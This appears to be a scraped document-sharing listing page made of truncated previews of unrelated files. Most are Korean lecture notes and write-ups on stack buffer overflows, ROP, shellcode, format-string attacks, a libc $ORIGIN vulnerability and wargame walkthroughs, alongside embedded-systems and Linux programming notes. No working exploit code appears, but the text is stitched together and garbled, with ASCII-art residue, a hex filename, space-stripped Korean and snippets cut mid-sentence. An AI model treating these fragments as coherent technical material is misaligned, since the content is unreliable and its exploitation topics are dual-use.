Smashing The Stack For Fun And Profit by Aleph One Review of Aleph One s Smashing The Stack For Fun And Profit by vangelis(vangelis@wowsecurity.org) 888 888 888 888 888 888 888 888 888.d88b. 888 888 888 88888b. 8888b..d8888b 888 888.d88b. 888d888 888 888

More information

"Analysis of the Exploitation Processes"

Analysis of the Exploitation Processes "Analysis of the Exploitation Processes" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Steven Hill aka: SolarIce www.covertsystems.org steve@covertsystems.org (c) 2004 편역 : poc@securityproof.net 이글은원문의소스코드를그대로유지하면서역자의개인서버에서다시테스트된것을바탕으로새롭게

More information

[8051] 강의자료.PDF

[8051] 강의자료.PDF CY AC F0 RS1 RS0 OV - P 0xFF 0x80 0x7F 0x30 0x2F 0x20 0x1F 0x18 0x17 0x10 0x0F 0x08 0x07 0x00 0x0000 0x0FFF 0x1000 0xFFFF 0x0000 0xFFFF RAM SFR SMOD - - - GF1 GF0 PD IDL 31 19 18 9 12 13 14 15 1 2 3 4

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Execute_Shellcode_on_the_MacOSX.txt - 메모장 ####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" http://indra.linuxstudy.pe.kr 2005. 08. 19. ########################################################################

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

lecture4(6.범용IO).hwp

lecture4(6.범용IO).hwp 제 2 부 C-언어를 사용한 마이크로컨트롤러 활용기초 66 C-언어는 수학계산을 위해 개발된 FORTRAN 같은 고급언어들과는 달 리 Unix 운영체제를 개발하면서 같이 개발된 고급언어이다. 운영체제의 특성상 C-언어는 다른 고급언어에 비해 컴퓨터의 하드웨어를 직접 제어할 수 있는 능력이 탁월하여 마이크로프로세서의 프로그램에 있어서 어셈블 리와 더불어 가장

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.

IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.

More information

Microsoft Word - MSOffice_WPS_analysis.doc

Microsoft Word - MSOffice_WPS_analysis.doc MS Office.WPS File Stack Overflow Exploit 분석 (http://milw0rm.com/ 에공개된 exploit 분석 ) 2008.03.03 v0.5 By Kancho ( kancholove@gmail.com, www.securityproof.net ) milw0rm.com에 2008년 2월 13일에공개된 Microsoft Office.WPS

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

Contents 1. 목적 풀이 gate

Contents 1. 목적 풀이 gate Lord of Bof 풀이 Moomoo/badass4514@gmail.com 1 Contents 1. 목적 ---------------------------------------------------------------- 3 2. 풀이 gate ----------------------------------------------------------------

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈 binoopang@is119.jnu.ac.kr Abstract libc에서제공하는 API를후킹해본다. 물론이방법을사용하면다른라이브러리에서제공하는 API들도후킹할수있다. 여기서제시하는방법은리눅스후킹에서가장기본적인방법이될것이기때문에후킹의워밍업이라고생각하고읽어보자 :D Content 1.

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.

More information

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg

Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python Ollydbg 1.x, Immunity Debugg 익스플로잇실습 / 튜토리얼 Eureka Mail Client 2.2q Omelet Egg Hunting By WraithOfGhost Eureka Mail Client_v2.2.q를이용하여오믈렛에그헌팅에대하여알아볼것이다. 익스플로잇을위해구성된환경은아래와같다. - Windows XP Professional SP3 KOR - Python 2.7.10 - Ollydbg

More information

various tricks for remote linux exploits v3.pptx

various tricks for remote linux exploits v3.pptx various tricks for linux remote exploits 이석하 wh1ant 2013.11.30 www.codeengn.com 2013 CodeEngn Conference 09 Thank you The author would like to thank to trigger for reviewing this paper :) 순서 1 - Traditional

More information

vi 사용법

vi 사용법 유닉스프로그래밍및실습 gdb 사용법 fprintf 이용 단순디버깅 확인하고자하는코드부분에 fprintf(stderr, ) 를이용하여그지점까지도달했는지여부와관심있는변수의값을확인 여러유형의단순한문제를확인할수있음 그러나자세히살펴보기위해서는디버깅툴필요 int main(void) { int count; long large_no; double real_no; init_vars();

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

No Slide Title

No Slide Title Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐

More information

untitled

untitled int i = 10; char c = 69; float f = 12.3; int i = 10; char c = 69; float f = 12.3; printf("i : %u\n", &i); // i printf("c : %u\n", &c); // c printf("f : %u\n", &f); // f return 0; i : 1245024 c : 1245015

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D FB8DEB8F0B8AE20B8C5C7CE205BC8A3C8AF20B8F0B5E55D> 학습목표 통신프로그램이무엇인지이해한다. 을이용한 IPC 기법을이해한다. 함수를사용해프로그램을작성할수있다. IT CookBook, 유닉스시스템프로그래밍 2/20 목차 의개념 함수 해제함수 의보호모드변경 파일의크기확장 매핑된메모리동기화 데이터교환하기 의개념 파일을프로세스의메모리에매핑 프로세스에전달할데이터를저장한파일을직접프로세스의가상주소공간으로매핑 read, write

More information

Smashing the Lord Of the Bof

Smashing the Lord Of the Bof Smashing the Lord Of the Bof cd80@leaveret 목차 0. LOB 소개 1. Gate -> gremlin 2. Gremlin -> cobolt 3. Cobolt -> goblin 4. Goblin -> orc 5. Orc -> wolfman 6. Wolfman-> darkelf 7. Darkelf -> orge 8. Orge ->

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 메모리매핑 IT CookBook, 유닉스시스템프로그래밍 학습목표 통신프로그램이무엇인지이해한다. 메모리매핑을이용한 IPC 기법을이해한다. 메모리매핑함수를사용해프로그램을작성할수있다. 2/20 목차 메모리매핑의개념 메모리매핑함수 메모리매핑해제함수 메모리매핑의보호모드변경 파일의크기확장 매핑된메모리동기화 데이터교환하기 3/20 메모리매핑의개념 메모리매핑 파일을프로세스의메모리에매핑

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 DEVELOPMENT ENVIRONMENT 2 MAKE Jo, Heeseung MAKE Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one 2

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Development Environment 2 Jo, Heeseung make make Definition make is utility to maintain groups of programs Object If some file is modified, make detects it and update files related with modified one It

More information

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이 gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이나왔다한다. Debugging을하는가장원초적방법은프로그램소스를눈으로따라가며, 머리로실행시켜논리적오류를찾아내는것이다.

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

Microsoft PowerPoint - chap12-고급기능.pptx

Microsoft PowerPoint - chap12-고급기능.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 가 제공하는 매크로 상수와 매크로

More information

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우

취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] RedAlert Team_ 강동우 취약점분석보고서 [CyberLink Power2Go name attribute (p2g) Stack Buffer Overflow Exploit] 2012-07-19 RedAlert Team_ 강동우 목 차 1. 개요... 1 1.1. 취약점분석추진배경... 1 1.2. Power2Go name Stack Buffer Overflow 취약점요약... 1 2.

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

Infinity(∞) Strategy

Infinity(∞) Strategy 배열 (Array) 대용량데이터 대용량데이터를다루는기법 배열 (Array) 포인터 (Pointer) 구조체 (Structure) 파일 (File) 변수 (Variable) 변수및메모리할당 변수선언 : int imsi; imsi 4 Bytes 변수선언 : char imsi2; imsi2 1 Byte 배열 (Array) 배열 동일한데이터형을가지고있는데이터들을처리할때사용

More information

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100 2015-1 프로그래밍언어 9. 연결형리스트, Stack, Queue 2015 년 5 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) 연결리스트 (Linked List) 연결리스트연산 Stack

More information

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D> 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 프로세스생성 [1] 프로그램실행

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 3/24 프로세스생성 [1]

More information